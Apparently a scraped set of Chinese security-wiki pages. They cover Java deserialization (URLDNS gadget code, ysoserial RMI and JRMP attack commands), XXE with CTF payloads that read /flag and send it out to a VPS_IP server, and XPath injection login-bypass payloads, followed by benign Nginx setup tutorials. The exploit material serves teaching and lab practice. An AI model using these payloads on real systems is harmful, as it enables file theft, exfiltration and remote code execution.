用指定的值替换与该条目对应的值(可选操作)(写入映射.)如果映射已经从映射中删除(通过迭代器的删除操作),则此调用的行为是未定义的. 参数:value- 要存储在此条目中的新值 return:对应条目的旧值 前置知识利用链 利用链是什么: 入口点Source+中间经过的类方法gadget+执行点Sink RMI/JRMP/JNDIRMI(Remote Method Invocation) 能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样 一台机器想要执行另一台机器上的java代码 例如: 我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为`Interface Invocation`,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义 Server—>告诉注册中心Client—>根据名字和注册中心要端口 Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用. 注册中心约定端口:1099 Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法) RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:整个过程会进行两次TCP连接: Client获取这个Name和对象的绑定关系 RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.Registrylmpl Stub) Stub会将Remote对象传递给远程引用层java.rmi.server.RemoteRef并创建java.rmi.server.RemoteCall(远程调用)对象. RemoteCall序列化RMI服务名称、Remote对象. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层. RMI服务端的远程引用层sun.rmi.server.UnicastServerRef收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch) Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化. Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端. 再去连接Server并调用远程方法 RMI客户端反序列化服务端结果,获取远程对象的引用 RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端 RMI客户端反序列化RMI远程方法调用结果 **危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程–>在JAVA中使用序列化和反序列化来实现 JRMP(Remote Method Protocol) 通俗点解释:它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用、 JNDI(Naming and Directory Interface) Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统. 而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端.而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录.而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象 总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来. 还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中 JJEP(JAVA Enhancement proposa) JEP290是Java为了防御反序列化攻击而设置的一种过滤器,其在JEP项目中编号为290,因而通常被简称为JEP290 黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端 检测反序列化链的深度 在RMI过程中提供了调用对象提供了一个验证类的机制 过滤内容可被配置 JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话还是可以正常的反序列化漏洞利用JEP290默认只为RMI注册表(RMI Register层)、RMI分布式垃圾收集器(DGC层)以及JMX提供了相应的内置过滤器Bypass JEP290 的关键在于:通过反序列化将Registry变为JRMP客户端,向JRMPListener发起JRMP请求.(8u121-8u240)二次反序列化思维导图: URLDNS链 URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法. HashMap对于HashMap这个类来说,他重载了readObject函数,在重载的逻辑中,我们可以看到他重新计算了key的Hash跟进hash函数,我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控,并且可被我们利用的类,那么可以被我们利用的类就是下面的URLDNS URLDNS找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控查看getHostAddress函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址 1234567891011121314151617181920212223242526272829303132333435363738394041/* * @Author: Kill3r * @Date: 2022-10-03 19:11:15 * @LastEditors: Kill3r * @LastEditTime: 2022-10-05 10:25:36 * @Description: 请填写简介 */package serializable.urldns;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Dnstest { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); URL url = new URL("http://v0qf5g.dnslog.cn"); Class c =URL.class; Field fieldHashcode = c.getDeclaredField("hashCode"); fieldHashcode.setAccessible(true); // 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望 // 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接返回,在序列化的时候已经进行了hashCode计算,那么在反序列化时就不会走到他真正的handler.hashCode方法里 // 所以需要修改hashCode值不为-1 fieldHashcode.set(url,1); hashmap.put(url, 22); // 反序列化之后还是需要让他发送请求,所以需要改回来 // 通俗讲如果不修改上方的hashCode值,还未反序列化就会造成一次DNSLOG请求,所以需要禁止put请求,让反序列化时的readObject去请求 fieldHashcode.set(url,-1); Serializable(hashmap); } public static void Serializable(Object obj) throws Exception { ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt")); InputStream.writeObject(obj); InputStream.close(); }} 总结 首先找到Sink:发起DNS请求的URL类hashCode方法 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法 EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求 ysoserial使用12java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe > ser.binjava -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit YOUR-IP 1099 CommonsCollections1 calc.exe 下载源码包,使用idea编译,项目地址:https://github.com/frohoff/ysoserial 使用idea打开源码包 设置maven为国内源 点击maven->点击扳手->点击maven Settings->User settings file->勾选Override settings.xml内容为: 123456789101112131415161718192021222324252627282930313233 <?xml version="1.0" encoding="UTF-8"?><settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd"> <mirrors> <!-- 阿里云仓库 --> <mirror> <id>alimaven</id> <mirrorOf>central</mirrorOf> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/repositories/central/</url> </mirror> <!-- 中央仓库1 --> <mirror> <id>repo1</id> <mirrorOf>central</mirrorOf> <name>Human Readable Name for this Mirror.</name> <url>http://repo1.maven.org/maven2/</url> </mirror> <!-- 中央仓库2 --> <mirror> <id>repo2</id> <mirrorOf>central</mirrorOf> <name>Human Readable Name for this Mirror.</name> <url>http://repo2.maven.org/maven2/</url> </mirror> </mirrors> </settings> 点击apply->OK 点击刷新按钮,等待下载依赖 点击小锤子,构建项目,如果出现报错:java: 程序包sun.rmi.server不存在和java: 程序包sun.rmi.transport不存在可以不用管 编译项目点击M命令行输入:mvn clean package -DskipTests 编译完成 环境:https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/UnSerializable/java/JavaDeserializationTest.zip URLDNS利用 打开前面写的Dnstest.java将代码中的dnslog换为自己的,然后序列化恶意数据 反序列化恶意数据,然后dnslog中会显示请求内容 RMIRegistryExploit利用 打开环境中的RMIServer.java右键运行 使用ysoserial攻击 1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc" JRMPClient利用 打开环境中的RMIServer.java右键运行 使用ysoserial攻击 JRMPListener利用 生成反序列化数据 1java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:6666 > jrmp.bin 启动JRMP 1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc" 反序列化 1234567891011121314151617package com.chaitin;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class Unserialization { public static Object unserialize(String fileName) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception{ unserialize("jrmp.bin"); }}"},{"title":"十二. XXE&XPath","path":"/wiki/VulnerabilityInsightDocs/十二. XXE&XPath.html","content":"总字符数: 7.72K 代码: 2.90K, 文本: 2.62K 预计阅读时间: 24 分钟 XXE概念 XXE注入,即XML External Entity,XML外部实体注入.通过XML实体,”SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取数据.所以攻击者可以通过XML实体传递自己构造的恶意值,使处理程序解析它.当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害. XML相关知识XML定义 XML:可扩展标记语言 标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言.它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言.它的设计宗旨是传输数据,而不是显示数据.它的标签没有被预定义.您需要自行定义标签.它被设计为具有自我描述性.它是W3C的推荐标准. XML由3个部分构成, 文档类型定义( Document Type Definition , DTD) , 即XML的布局语言 文档类型定义(DTD) 可定义合法的XML文档构建模块.它使用一系列合法的元素来定义文档的结构.DTD可被成行地声明于XML文档中,也可作为一个外部引用.通过DTD ,每一个XML文件均可携带一个有关其自身格式的描述、独立的团体可一致地使用某个标准的DTD来交换数据、应用程序也可使用某个标准的DTD来验证从外部接收到的数据, 还可以使用DTD来验证自身的数据. 可扩展的样式语言(Extensible Style Language , XSL) , 即XML的样式表语言 可扩展链接语言(Extensible Link Language , XLL) 可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计, XML被设计用来传输和存储数据,其焦点是数据的内容 HTML被设计用来显示数据,其焦点是数据的外观 XML不会做任何事情,XML被设计用来结构化、存储以及传输信息.它仅仅是包装在XML标签中的纯粹的信息.我们需要编写软件或者程序,才能传送、接收和显示出这个信息 XML没什么特别的.它仅仅是纯文本而已.有能力处理纯文本的软件都可以处理XML.不过,能够读懂XML的应用程序可以有针对性地处理XML的标签.标签的功能性意义依赖于应用程序的特性 内部文档声明 ​ XML文档类型声明,俗称DTD,是一种方式来描述XML语言准确.检查的DTD对词汇的适当的XML语言的语法规则的XML文档的结构和有效性. ​ 一个XML的DTD既可以在文档中指定的,或者它可以被保存在一个单独的文件中,并且可以分别连结. ​ 一个DTD被称为内部DTD,如果元素的XML文件中声明.以指它作为内部DTD,XML声明中的独立属性必须设置为yes.这意味着,在声明的工作独立于外部源. 语法12<!-- 这是根元素声明的名称. --><!DOCTYPE root-element [element-declarations]> 示例123456789101112131415161718<!--这是XML声明,指定了XML版本(1.0)、字符编码(UTF-8),以及文档是否独立(standalone="yes"表示是独立文档)--><?xml version="1.0" encoding="UTF-8" standalone="yes" ?><!--这是文档类型声明(Document Type Definition,DTD),它定义了XML文档的结构和允许的元素.在这里,声明了address元素可以包含name、company和phone元素.#PCDATA表示Parsed Character Data,即文本数据.--><!DOCTYPE address [ <!ELEMENT address (name,company,phone)> <!ELEMENT name (#PCDATA)> <!ELEMENT company (#PCDATA)> <!ELEMENT phone (#PCDATA)>]><!--<address>: 这是XML文档的根元素,表示地址信息.--><address>\t<!-- 表示姓名信息,<name>是address元素的子元素,包含了名字 "Tanmay Patil".--> <name>Tanmay Patil</name>\t<!--表示公司信息,<company>是address元素的子元素,包含了公司名 "YiiBai".--> <company>YiiBai</company>\t<!--表示电话信息,<phone>是address元素的子元素,包含了电话号码 "(011) 123-4567".--> <phone>(011) 123-4567</phone></address> 规则 文档类型声明必须出现在文件(仅由XML头之前)的开始 - 它不是在文档中允许的其他地方. 类似的DOCTYPE声明,该声明的元素必须以感叹号. 在文档类型声明的名称必须与根元素的元素类型相匹配. 外部文档声明 在外部DTD元素的XML文件外声明.它们是通过指定其可以是法律.dtd文件或一个有效的URL,系统的属性进行访问.是指它作为外部DTD,XML声明standalone属性必须设置为no.这意味着,声明中包含从外部源信息. 外部dtd12<!-- 其中filename是.dtd扩展名的文件. --><!DOCTYPE root-element SYSTEM "file-name"> 引入外部DTD123456789101112<?xml version="1.0" encoding="UTF-8" standalone="no" ?><!-- 使用外部DTD引用,指定了address.dtd文件 --><!DOCTYPE address SYSTEM "address.dtd"><!-- address元素包含了个人信息 --><address> <!-- name元素包含了个人姓名 --> <name>Tanmay Patil</name> <!-- company元素包含了公司信息 --> <company>YiiBai</company> <!-- phone元素包含了电话号码 --> <phone>(011) 123-4567</phone></address> address.dtd12345678<!-- 定义了address元素,包含了name、company、phone三个子元素 --><!ELEMENT address (name, company, phone)><!-- 定义了name元素,包含了文本数据 (#PCDATA) --><!ELEMENT name (#PCDATA)><!-- 定义了company元素,包含了文本数据 (#PCDATA) --><!ELEMENT company (#PCDATA)><!-- 定义了phone元素,包含了文本数据 (#PCDATA) --><!ELEMENT phone (#PCDATA)> 类型您可以通过使用系统标识符和公共标识符引用一个外部DTD. 1234567891011121314<!-- 使用系统标识符引用外部DTD --><!DOCTYPE address SYSTEM "address.dtd"><address> <name>Tanmay Patil</name> <company>YiiBai</company> <phone>(011) 123-4567</phone></address><!--使用公共标识符引用外部DTD--><!DOCTYPE address PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><address> <name>Tanmay Patil</name> <company>YiiBai</company> <phone>(011) 123-4567</phone></address> XML协议支持 Libxml2 PHP Java .NET file file http file http http https http ftp ftp ftp https php file ftp compress.zlib jar compress.zlib2 netdoc data mailto glob XXE危害 任意文件读取 内网端口探测 拒绝服务攻击 钓鱼 XXE利用带内利用web373 12345678<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE XXE [<!ENTITY cmd SYSTEM "file:///flag">]><creds><ctfshow>&cmd;</ctfshow></creds> 带外利用(无回显)web374 以下内容是dtd文件内容用python起一个临时Web服务python3 -m http.server 8080 123456<!-- 定义一个实体,其内容为包含远程文件的实体 --><!ENTITY % dtd "<!ENTITY &#x25; xxe SYSTEM 'http://VPS_IP:7777/%file;'>"><!-- 引入上述定义的实体 -->%dtd;<!-- 执行远程文件读取的实体 -->%xxe; 服务器再起一个临时Web服务用于接收带外的结果 python3 -m http.server 7777 12345678910111213141516171819202122232425262728293031<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://VPS_IP:8080/eval.dtd"> %aaa;]><creds> <ctfshow> 1 </ctfshow></creds><!DOCTYPE ANY [ <!-- 定义一个实体以读取 /flag 文件并将其编码为 Base64 --> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!-- 定义一个实体指向远程 DTD 文件 --> <!ENTITY % aaa SYSTEM "http://VPS_IP:8080/eval.dtd"> <!-- 包含远程 DTD 文件的内容 --> %aaa;]><creds> <ctfshow> 1 </ctfshow></creds> XXE防御为了防止XXE漏洞的攻击,我们可以采取以下措施: 禁用外部实体:在解析XML文档时,可以禁用外部实体解析功能,以防止攻击者注入恶意实体. 使用安全的解析器:选择安全的XML解析器可以降低XXE漏洞的风险,例如使用JAXP中的Secure Processing功能. 输入验证:在接收XML数据时,应对输入数据进行验证,过滤掉恶意实体和DTD文件等. 增加安全头:在HTTP响应头中增加X-Content-Type-Options和Content-Security-Policy等安全头,以增加Web应用程序的安全性. 使用白名单:在处理XML数据时,应使用白名单来限制实体和属性的值,只允许合法的输入. 应用安全补丁:及时更新Web应用程序和相关组件的安全补丁,以修复已知的XXE漏洞. 安全配置:合理配置Web服务器和Web应用程序的安全策略,如限制文件上传、禁止目录列表等. 总结XXE(XML外部实体注入)漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞访问系统文件、获取敏感信 息、执行远程代码等,造成严重的安全风险. 为了避免XXE漏洞的出现,应当采取以下措施: 合理配置XML解析器,禁用外部实体和参数实体功能. 防火墙或WAF过滤恶意XML请求. 对于XML输入,应使用白名单过滤. 对于使用XML作为传输协议的应用程序,应该使用HTTPS来加密通信. 定期更新相关组件和库,以修复已知的漏洞. 检查代码,避免编写容易受到XXE攻击的代码. 总之,XXE漏洞是一个需要引起重视的安全风险,开发者和运维人员需要采取有效的措施来防止其出现.同 时,建议安全专家和安全工程师在进行系统安全测试时,重点关注XXE漏洞的检测和修复. Xpath简介 XPath (XML路径语言)是-种用于导航XML文件文档并从中获取数据的语言.许多时候,一个XPath表达式可以代表个文档节点导航到另一个文档节点所需要的一系列步骤: WEB应用程序将数据保存在XML文档中 使用XPath访问数据,以响应用户提交的输入 输入未经过过滤就插入到XPath查询语句中 攻击者就可以通过控制查询语句来破坏网站应用程序的逻辑,或者获取未授权访问的数据. 漏洞复现 bWAPP的XML/XPath Injection (Login Form)下面我们输入一个单引号,然后在页面出现了XPath报错: 查询登录应该是,同时查询用户输入的用户名和密码,符合则允许登录.那么其XPath代码应该是/xxxx/xxxx/[login='$用户输入用户名' and password='$用户输入密码']其中XXXX代表节点路径, 如果用户的输入被XPath查询到则登入验证通过.我们可以构造如下代码admin' or 'a'='a' or '那么理想的化,代码会变成这样: /xxxx/xxxx/[login='admin' or 'a'='a' or '' and password='$用户输入密码'] 万能密码登录成功 bWAPP靶场的XML/XPath Injection (Search) 这是一个网页搜索功能,当我们点击Search时会得到一系列数据.其后端没有数据库,是通过XPath语言实现的. 当我们在urlI中的genre参数中加一个引号,网页也出现了XPath报错 根据前文对XPath语言特征的描述.我们猜测其代码应该是以下两种形式: /xxx/xxx/[genre='$由用户输入']/movie ``/xxx/xxx/[contains(genre,’$由用户输入’)]/movie` contains表模糊查询.这两个语句的区别是 前一个是要在genre节点下精确匹配到一个值, 第二个是要在genre节点下模糊匹配一个值. 我们可以首先尝试闭合 我们分别插入1']/movie和1')]/move看看哪个可以闭合.前者报错.后者没有报错,闭合成功.由此我们确定了, XPath语句应该写成这样:/xxx/xxx/ [contains(genre, ' $由用户输入')]/movie 构造Payload:action')]|//*|//*[contains ('1', '1 那么理想情况下代码会变成这样: /xxx/xxx/[contains(genre,'action')]|//*|//*[contains('1','1')]/movie分别构成了三个查询 /xxx/xxx/[contains(genre,'action')] //* //*[conains('1','1')]/movie 其中只有//*返回字符 /xxx/xxx/[contains(genre,'action')]只是匹配了一下action节点,代码需要、/xxx/xxx/[contains(genre,'action')]/movie才可能返回值. 第三个,只是模糊匹配了一下1=1 只有//*返回从根节点开始选取文档中的所有元素. 执行成功"},{"title":"三. Nginx-Examples使用说明","path":"/wiki/MiddlewareDocs/三. Nginx-Examples使用说明.html","content":"总字符数: 4.63K 代码: 0.51K, 文本: 1.76K 预计阅读时间: 10 分钟 Nginx 示例教程Nginx-Examples在以下GitHub中 教程说明环境要求 Maven JDK8 Nginx-1.14.0(内置) Maven安装解压 maven 压缩包. 解压apache-maven-3.9.3-bin.tar.gz,并把解压后的文件夹下的apache-maven-3.9.3文件夹移动到D:\\下并重命名为maven. 配置maven 的环境变量 右键”计算机”,选择”属性”,之后点击”高级系统设置”,点击”环境变量”,来设置环境变量,有以下系统变量需要配置: 新建系统变量MAVEN_HOME变量值:D:\\Software\\maven 编辑系统变量Path添加变量值%MAVEN_HOME%\\bin 本地仓库的配置(默认在C盘)这个配置文件:maven安装路径下\\conf\\settings.xml文件中 换源:配置中央仓库的镜像还是在settings.xml文件中,在mirrors标签中添加子标签如下 123456<mirror> <id>alimaven</id>\t<name>aliyun maven</name>\t<url>http://maven.aliyun.com/nexus/content/groups/public/</url>\t<mirrorOf>central</mirrorOf></mirror> javaapp我写了一个嵌入式 Tomcat 的 Java 服务,代码在 javaapp 目录,基于 maven 管理.这个服务可以通过在启动时指定 -Dtomcat.connector.port 和 -Dtomcat.context.path 来分别指定服务启动时的端口号和 context.这样可以很方便的模拟多个服务器的场景. 例如: 1java -Dtomcat.connector.port=9030 -Dtomcat.context.path=/app -cp "JavaWebApp/WEB-INF/classes;JavaWebApp/WEB-INF/lib/*" io.github.dunwu.app.Main io.github.dunwu.app.Main 是这个 Java 服务的启动类. JavaWebApp/WEB-INF/classes;JavaWebApp/WEB-INF/lib/* 是 class 路径和 lib 路径,必须指定,否则无法识别启动类. 如上的配置参数,可以启动一个端口号为 9030,上下文为 /app 的服务.访问路径为:http://localhost:9030/app. nginx-1.14.0nginx-1.14.0 是 Nginx 的 windows 环境的 1.14.0 官方版本.之所以把它完整的放入本项目中也是为了方便演示. 我添加了两个 bat 脚本,可以启动和关闭 nginx 服务. nginx-start.bat nginx-stop.bat 在 Nginx 默认配置文件 nginx.conf 中我通过配置 include demos/*.conf; 将 Nginx/demos/nginx-1.14.0/conf/demos 目录中所有 Nginx 配置示例都引入. scriptsscripts 中包含了运行示例的启动脚本.目前只支持 windows 下运行,当然想基于此教程改造为在 Linux 下运行也不难,将 nginx-1.14.0 替换为 Linux 版本,bat 脚本修改为 shell 即可. 运行步骤: 首先必须执行 build-javaapp.bat 构建 javaapp右键以管理员运行 想运行哪个 demo,就执行对应的 demoxx-start.bat 脚本. 添加 hosts因为示例中使用的不是公网域名,域名服务器不能识别.所以,要演示示例,还需要修改本地 hosts. windows 的 host 路径一般在:C:\\Windows\\System32\\drivers\\etc\\hosts linxu 的 host 路径一般在:/etc/hosts 1234567127.0.0.1 www.demo01.com127.0.0.1 www.demo02.com127.0.0.1 www.demo03.com127.0.0.1 www.demo04.com127.0.0.1 www.demo05.com127.0.0.1 www.demo06.com# 以上是所有的hosts,如果所有服务都看就一次性添加吧,一个一个加太麻烦了 示例说明Demo01 - 简单的反向代理示例本示例启动一个 JavaApp,访问地址为:localhost:9010.在 Nginx 中配置它的反向代理 host 为 www.demo01.com.Nginx 配置文件:demo01.conf 运行步骤: 执行 demo01-start.bat 脚本. 配置 hosts:127.0.0.1 www.demo01.com 在浏览器中访问:www.demo01.com Demo02 - 负载均衡示例本示例启动三个 JavaApp,访问地址分别为: localhost:9021 localhost:9022 localhost:9023 在 Nginx 中统一配置它们的反向代理 host 为 www.demo02.com,并设置相应权重,以便做负载均衡.Nginx 配置文件:demo02.conf 运行步骤: 执行 demo02-start.bat 脚本. 配置 hosts:127.0.0.1 www.demo02.com 在浏览器中访问:www.demo02.com 如图所示:三次访问的端口号各不相同,说明三个服务器各自均有不同机率(基于权重)被访问. Demo03 - 多 webapp 示例当一个网站功能越来越丰富时,往往需要将一些功能相对独立的模块剥离出来,独立维护.这样的话,通常,会有多个 webapp. http 的默认端口号是 80,如果在一台服务器上同时启动这 3 个 webapp 应用,都用 80 端口,肯定是不成的.所以,这三个应用需要分别绑定不同的端口号. 本示例启动三个 JavaApp,访问地址分别为: localhost:9030/ localhost:9031/product localhost:9032/user Nginx 中的配置要点就是为每个 server 配置一个 upstream.并在 server 配置下的 location 中指定 context 对应的 upstream. Nginx 配置文件:demo03.conf 运行步骤: 执行 demo03-start.bat 脚本. 配置 hosts:127.0.0.1 www.demo03.com 在浏览器中访问:www.demo03.com 如图所示:三次访问的 context 和端口号各不相同.说明 Nginx 根据不同的 context 将请求分发到指定的服务器上. Demo04 - 配置文件服务器示例有时候,团队需要归档一些数据或资料,那么文件服务器必不可少.使用 Nginx 可以非常快速便捷的搭建一个简易的文件服务. Nginx 中的配置要点: 将 autoindex 开启可以显示目录,默认不开启. 将 autoindex_exact_size 开启可以显示文件的大小. 将 autoindex_localtime 开启可以显示文件的修改时间. root 用来设置开放为文件服务的根路径. charset 设置为 charset utf-8,gbk;,可以避免中文乱码问题(windows 服务器下设置后,依然乱码,本人暂时没有找到解决方法). Nginx 配置文件:demo05.conf 运行准备:由于我的配置中设置 root 的路径为我自己机器中的绝对路径,所以,各位在运行本例的时候要根据自己的实际情况替换. 运行步骤: 执行 demo05-start.bat 脚本. 配置 hosts:127.0.0.1 www.demo05.com 在浏览器中访问:www.demo05.com 效果图如下:","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"一. Nginx从入门到精通(下)","path":"/wiki/MiddlewareDocs/一. Nginx从入门到精通(下).html","content":"总字符数: 17.17K 代码: 8.84K, 文本: 3.25K 预计阅读时间: 53 分钟 Nginx 实战我始终认为,各种开发工具的配置还是结合实战来讲述,会让人更易理解. Http 反向代理我们先实现一个小目标:不考虑复杂的配置,仅仅是完成一个 http 反向代理. nginx.conf 配置文件如下: 注:conf/nginx.conf 是 nginx 的默认配置文件.你也可以使用 nginx -c 指定你的配置文件 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107#运行用户#user nobody;#启动进程,通常设置成和cpu的数量相等worker_processes 1;#全局错误日志error_log logs/error.log;error_log logs/notice.log notice;error_log logs/info.log info;#PID文件,记录当前启动的nginx的进程IDpid logs/nginx.pid;# 工作模式及连接数上限events { worker_connections 1024; #单个后台worker process进程的最大并发链接数}#设定http服务器,利用它的反向代理功能提供负载均衡支持http { #设定mime类型(邮件支持类型),类型由mime.types文件定义 include conf/mime.types; default_type application/octet-stream; #设定日志\tlog_format main '[$remote_addr] - [$remote_user] [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log logs/access.log main; rewrite_log on; #sendfile 指令指定 nginx 是否调用 sendfile 函数(zero copy 方式)来输出文件,对于普通应用, #必须设为 on,如果用来进行下载等应用磁盘IO重负载应用,可设置为 off,以平衡磁盘与网络I/O处理速度,降低系统的uptime. sendfile on; #tcp_nopush on; #连接超时时间 keepalive_timeout 120; tcp_nodelay on;\t#gzip压缩开关\t#gzip on; #设定实际的服务器列表 upstream zp_server1{ server 127.0.0.1:8089; } #HTTP服务器 server { #监听80端口,80端口是知名端口号,用于HTTP协议 listen 80; #定义使用www.xx.com访问 server_name www.helloworld.com; #首页 index index.html #指向webapp的目录 root html; #编码格式 charset utf-8; #代理配置参数 proxy_connect_timeout 180; proxy_send_timeout 180; proxy_read_timeout 180; proxy_set_header Host $host; proxy_set_header X-Forwarder-For $remote_addr; #反向代理的路径(和upstream绑定),location 后面设置映射的路径 location / { proxy_pass http://zp_server1; } #静态文件,nginx自己处理 location ~ ^/(images|javascript|js|css|flash|media|static)/ { root html/views; #过期30天,静态文件不怎么更新,过期可以设大一点,如果频繁更新,则可以设置得小一点. expires 30d; } #设定查看Nginx状态的地址 location /NginxStatus { stub_status on; access_log on; auth_basic "NginxStatus"; auth_basic_user_file conf/htpasswd; } #禁止访问 .htxxx 文件 location ~ /\\.ht { deny all; } #错误处理页面(可选择性配置) #error_page 404 /404.html; #error_page 500 502 503 504 /50x.html; #location = /50x.html { # root html; #} }} 好了,让我们来试试吧: 启动 webapp,注意启动绑定的端口要和 nginx 中的 upstream 设置的端口保持一致. 更改 host:在 C:\\Windows\\System32\\drivers\\etc 目录下的 host 文件中添加一条 DNS 记录 1127.0.0.1 www.helloworld.com 启动前文中 startup.bat 的命令 在浏览器中访问 www.helloworld.com,不出意外,已经可以访问了. Https 反向代理一些对安全性要求比较高的站点,可能会使用 HTTPS(一种使用 ssl 通信标准的安全 HTTP 协议). 这里不科普 HTTP 协议和 SSL 标准.但是,使用 nginx 配置 https 需要知道几点: HTTPS 的固定端口号是 443,不同于 HTTP 的 80 端口 SSL 标准需要引入安全证书,所以在 nginx.conf 中你需要指定证书和它对应的 key 其他和 http 反向代理基本一样,只是在 Server 部分配置有些不同. 12345678910111213141516171819202122232425#HTTP服务器server { #监听443端口.443为知名端口号,主要用于HTTPS协议 listen 443 ssl; #定义使用www.xx.com访问 server_name www.helloworld.com; #ssl证书文件位置(常见证书文件格式为:crt/pem) ssl_certificate cert.pem; #ssl证书key位置 ssl_certificate_key cert.key; #ssl配置参数(选择性配置) ssl_session_cache shared:SSL:1m; ssl_session_timeout 5m; #数字签名,此处使用MD5 ssl_ciphers HIGH:!aNULL:!MD5; 